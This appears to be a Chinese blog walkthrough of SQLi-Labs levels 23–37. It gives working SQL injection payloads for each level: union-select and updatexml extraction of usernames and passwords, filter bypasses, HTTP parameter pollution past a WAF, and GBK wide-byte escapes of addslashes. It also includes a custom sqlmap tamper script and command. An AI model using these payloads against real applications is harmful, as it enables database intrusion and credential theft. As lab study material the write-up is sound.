Back to Blog

【靶场实战】SQLi-Labs 通关攻略 (Less 23 - Less 37)

SQLi-Labs Medium

SQLi-Labs 漏洞复现level23~level37 (Adv Injections)

靶场数据库初始化

启动 Docker 容器后,进入靶场主页。为了使靶场正常工作,需要先点击 Setup/reset Database for labs 进行数据库初始化和建表.

Less-23 基于错误的,过滤注释的GET型

1.题目

image-20260618190759955

2.分析

发现使用'闭合后使用 --注释不起作用,#也不起作用。

![](./sqli-labs-wp2.assets/屏幕截图 2026-06-18 191833.png)

可以使用 and '1'='1代替注释符来闭合'

3.获取信息

在最后一步时,就不用and改用where,因为AND 是条件连接词,一般要放在 WHERE 后面。拼接后:

SELECT * FROM users WHERE id='-1'
union select 1,2,group_concat(id,username,password)
from users
where '1'='1' LIMIT 0,1

所以

?id=-1' union select 1,2,group_concat(id,username,password)from users where '1'='1

Less-24 POST二次注入(真实场景)——存储型注入

1.题目

image-20260618194304228

2.分析

这个界面看起来功能多了好多,一个一个看吧。随便注册了一个账户再登陆进去发现是一个更改密码的界面。更改密码需要账户原有的密码。应该是要改admin账户的密码进行登录。

image-20260618201843824

使用admin'#作为用户名进行注册再登陆后,#注释了当前密码的条件判断。实现无密码修改其他用户密码。

3.获取信息

修改密码:

![](./sqli-labs-wp2.assets/屏幕截图 2026-06-18 203208.png)

登陆成功:

image-20260618203242727

Less-25 GET - 基于报错 - 所有 OR 和 AND 都归我们所有 - 字符串单引号

1.题目

image-20260618204040873

2.分析

提示的很明显,orand被过滤了。由于or被过滤导致我们 order by 字句也用不了了。

image-20260618204713211

这种过滤可以用双写绕过,或者不用or也可以。

3.获取信息

?id=-1' union select 1,2,group_concat(id,username,passwoorrd) from users --+

Less25-a GET - 基于盲注 - 所有 OR 和 AND 都归我们所有 - 数字型

1.题目

image-20260618205532581

2.获取信息

其实不是盲注,只是没有语法错误回显。

?id=-1 union select 1,2,group_concat(id,username,passwoorrd) from users --+

image-20260618211458601

Less-26 GET - 基于报错 - 所有空格和注释都归我们所有

1.题目

image-20260618212316987

2.分析

这次我们空格和注释都没了(其实ORAND也没给),空格没了就不用空格,使用()代替空格的功能,注释改用'1'='1闭合。

3.获取信息

?id=1'%26%26(updatexml(1,concat(0x7e,(select(concat(username,0x3a,passwoorrd))from(users)where(id=1)),0x7e),1))%26%26'1'='1

image-20260618221634449

image-20260618221834706

Less-26a GET - 基于盲注 - 所有空格和注释都归我们所有 - 字符串型 - 单引号 - 括号

1.题目

image-20260619233357297

2.获取信息

货真价实的盲注使用sqlmap。

使用的 tamper 脚本

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH


def dependencies():
    pass


def tamper(payload, **kwargs):
    if not payload:
        return payload

    payload = re.sub(r"(?i)\bORD\s*\(", "ASCII(", payload)
    payload = re.sub(r"(?i)\bAND\b", "%26%26", payload)
    payload = re.sub(r"(?i)\bOR\b", "%7C%7C", payload)
    payload = re.sub(r"(?<![\w.])(\d+)\s+(\d+)(?![\w.])", r"\1=\2", payload)
    return re.sub(r"\s+", "", payload)

sqlmap 生成注入 payload 后,会先经过 tamper 改写,再发送到目标,用于绕过过滤规则。

Less-26a 会过滤 orand、空白、注释符等,导致 sqlmap 默认 payload 被破坏。例如 ORD() 会被过滤成 D()information_schema 会被过滤成 infmation_schema

本题使用自定义 tamper 做如下处理:

ORD(  -> ASCII( //ORD() 是 sqlmap 自己在布尔盲注取字符时生成的函数。
AND   -> &&
OR    -> ||
多个空白 -> 删除
数字 空白 数字 -> 数字=数字
C:\tool\sqlmap>python sqlmap.py -u "http://121.40.215.68:6651/Less-26a/?id=1" -p id --batch --dbms=mysql --technique=B --level=1 --risk=1 --prefix="')" --suffix="&&('1'='1" --tamper="C:\tool\sqlmap\less26a.py" --string="Your Login name:" --flush-session --no-cast --sql-query=--sql-query="SELECT(GROUP_CONCAT(id,0x3a,username,0x3a,passwoorrd))FROM(users)"

image-20260620024049484

Less-27 GET - 基于报错 - 所有 UNION 和 SELECT 都归我们所有 - 字符串型 - 单引号

1.题目

image-20260620175132679

2.分析

不能使用unionselect,其实只是过滤了全大写和全小写,我们可以使用大小写混合绕过。还有就是注释符也被过滤了,改用'1'='1绕过。

image-20260620182322478

3.获取信息

?id=1'%26%26(updatexml(1,concat(0x7e,(seLect(concat(username,0x3a,password))from(users)where(id=1)),0x7e),1))%26%26'1'='1

Less-27a GET - 基于盲注 - 所有 UNION 和 SELECT 都归我们所有 - 双引号

1.题目

image-20260619232616980

2.分析

我发现这一关%0a可以使用了,之前都不可以使用。我们可以使用%0a代替空格。看了源码发现只是这一关对空格过滤不是很严格,只过滤了空格和+,所以我们可以用空白字符代替空格,如: %09 tab %0a 换行 %0b 垂直制表 %0c 换页 %0d 回车

?id=0"%0aUnIon%0aseLect%0a1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema=database()%26%26%0a"1

image-20260620234828736

3.获取信息

记得实用where 1=1,不然&&会出现语法错误。也可以使用order bygroup by就不用使用where加&&的组合

?id=0"%0aUnIon%0aseLect%0a1,2,group_concat(username,0x3a,password)from%0ausers%0awhere%0a1=1%26%26%0a"1

image-20260621004104288

Less-28 GET - 基于报错 - 所有 UNION 和 SELECT 都归我们所有 - 字符串型 - 单引号 - 括号

1.题目

image-20260621004234805

2.分析

题目本来是想让我们用报错注入,查看源码发现过滤了union 空白 select(忽略大小写)这种结构,也就是说使用空白字符也没用,但是我们可以在unionselect中加一个all,ALLUNION 的合法选项,表示不去重;在这题里顺便用来绕过 union select 组合过滤。

?id=0')%0aUnIoN%0aall%0aSeLeCt%0a1,database(),3%26%26%0a('1

3.获取信息

?id=0')%0aUnIoN%0aall%0aSeLeCt%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers%0awhere%0a1=1%26%26%0a('1

image-20260621022130343

有个问题啊,题目标题是基于报错,但我使用报错注入时发现没有错误信息打印到页面上。查看源码后发现//print_r(mysql_error());,这是何意味不打印报错信息怎么使用报错注入。将注释取消后就可以使用报错注入了。

?id=1'%26%26(updatexml(1,concat(0x7e,(select%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1))%26%26'1'='1

image-20260621025110720

Less-28a GET - 基于盲注 - 所有 UNION 和 SELECT 都归我们所有 - 单引号 - 括号

1.题目

image-20260621030353171

2.分析

这一关的过滤比上一关少很多,只过滤了union 空白 select这种结构。

![](./sqli-labs-wp2.assets/屏幕截图 2026-06-21 131351.png)

3.获取信息

?id=0') union all select 1,group_concat(username,0x3a,password),3 from users where 1=1%26%26 ('1

image-20260621131542406

Less-29 GET - 基于报错 - 前后端解析不一致 - Web 应用前面有一层 WAF

1.题目

image-20260621132411474

2.分析

先用单引号闭合看看。要在加上login.php,不然题目就没意义了。

image-20260621151056252

可以看到页面直接重定向到hacked.php,意味着我们的恶意payload被检测到了。

Less-29 的核心不是普通关键字绕过,而是 HTTP Parameter Pollution/HPP 导致的“前后端参数解析不一致”绕过 WAF。login.php 先从原始 QUERY_STRING 里手工取第一个 id 参数做白名单校验,只允许纯数字通过 。但真正拼接 SQL 时,程序用的是 $_GET['id']。这样就可以构造两个同名参数,例如:

?id=1&id=1' union select 1,2,3--+

WAF 检查的是前面的 id=1,因为它是纯数字,所以放行;而 PHP 实际进入 SQL 的是后面的恶意 id,从而触发注入。

image-20260621151305594

3.获取信息

?id=1&id=0' union select 1,2,group_concat(username,0x3a,password) from users --+

image-20260621151358374

Less-30 GET - 基于盲注 - 前后端解析不一致 - Web 应用前面有一层 WAF

1.题目

image-20260621152342950

2.分析

无错误回显,先猜一下闭合方式,发现是"

3.获取信息

?id=1&id=0" union select 1,2,group_concat(username,0x3a,password) from users --+

image-20260621152732994

Less-31 GET - 基于盲注 - 前后端解析不一致 - Web 应用前面有一层 WAF

1.题目

image-20260621185442424

2.分析

与上一关的区别是闭合方式改为")

image-20260621185426292

3.获取信息

?id=1&id=0") union select 1,2,group_concat(username,0x3a,password)from users --+

image-20260621185926193

Less-32 GET - 绕过自定义过滤器:该过滤器会给危险字符添加反斜杠

1.题目

image-20260621190315006

2.分析

闭合时发现'被转义了。

image-20260621190511435

需要使用宽字节注入,比如这题会把:

'

转义成:

\'

也就是:

%5c%27

其中:

%5c = \
%27 = '

宽字节注入会在单引号前面加一个特殊字节,比如:

%df%27

程序转义后变成:

%df%5c%27

如果数据库按 GBK 解析,%df%5c 会被当成一个合法的中文字符:

%df%5c = 一个宽字节字符

这样反斜杠 \ 就被“吃掉”了,剩下的 %27 也就是单引号 ' 就逃逸出来了。

image-20260621191311270

3.获取信息

?id=0%df%27 union select 1,2,group_concat(username,0x3a,password)from users --+

image-20260621191817966

Less-33 GET - 绕过 AddSlashes()

1.题目

image-20260621192241277

2.分析

与上一关区别主要在过滤方式:

关卡过滤方式说明
Less-32自定义过滤函数手写函数对危险字符加反斜杠,效果类似 addslashes()
Less-33PHP 内置 addslashes()直接调用 PHP 自带函数,对 '"\、NULL 加反斜杠

利用方式基本一致。

3.获取信息

?id=0%df%27 union select 1,2,group_concat(username,0x3a,password)from users--+

image-20260621195034377

Less-34 POST - 绕过 AddSlashes()

1.题目

image-20260621195256618

2.分析

没区别,只是改用post

image-20260621203051232

3.获取信息

uname=0%df'  union select 1,group_concat(username,0x3a,password)from users --+&passwd=0&submit=Submit

image-20260621203159970

Less-35 GET - 绕过 AddSlashes(其实我们不需要它)- 数字型注入

1.题目

image-20260621204411124

2.分析

数字型注入直接来就行了,那我们也不需要绕过AddSlashes了

image-20260621205329856

3.获取信息

?id=0 union select 1,2,group_concat(username,0x3a,password)from users--+

image-20260621205356444

Less-36 GET - 绕过 mysql_real_escape_string()

1.题目

image-20260621210234401

2.分析

换了个内置函数来防注入,依旧可以使用宽字节注入。

image-20260621211036986

3.获取信息

?id=0%df' union select 1,2,group_concat(username,0x3a,password)from users--+

image-20260621211110452

Less-37 POST - 绕过 mysql_real_escape_string()

1.题目

image-20260621211546944

2.获取信息

uname=0%df'  union select 1,group_concat(username,0x3a,password)from users --+&passwd=0&submit=Submit

image-20260621215736669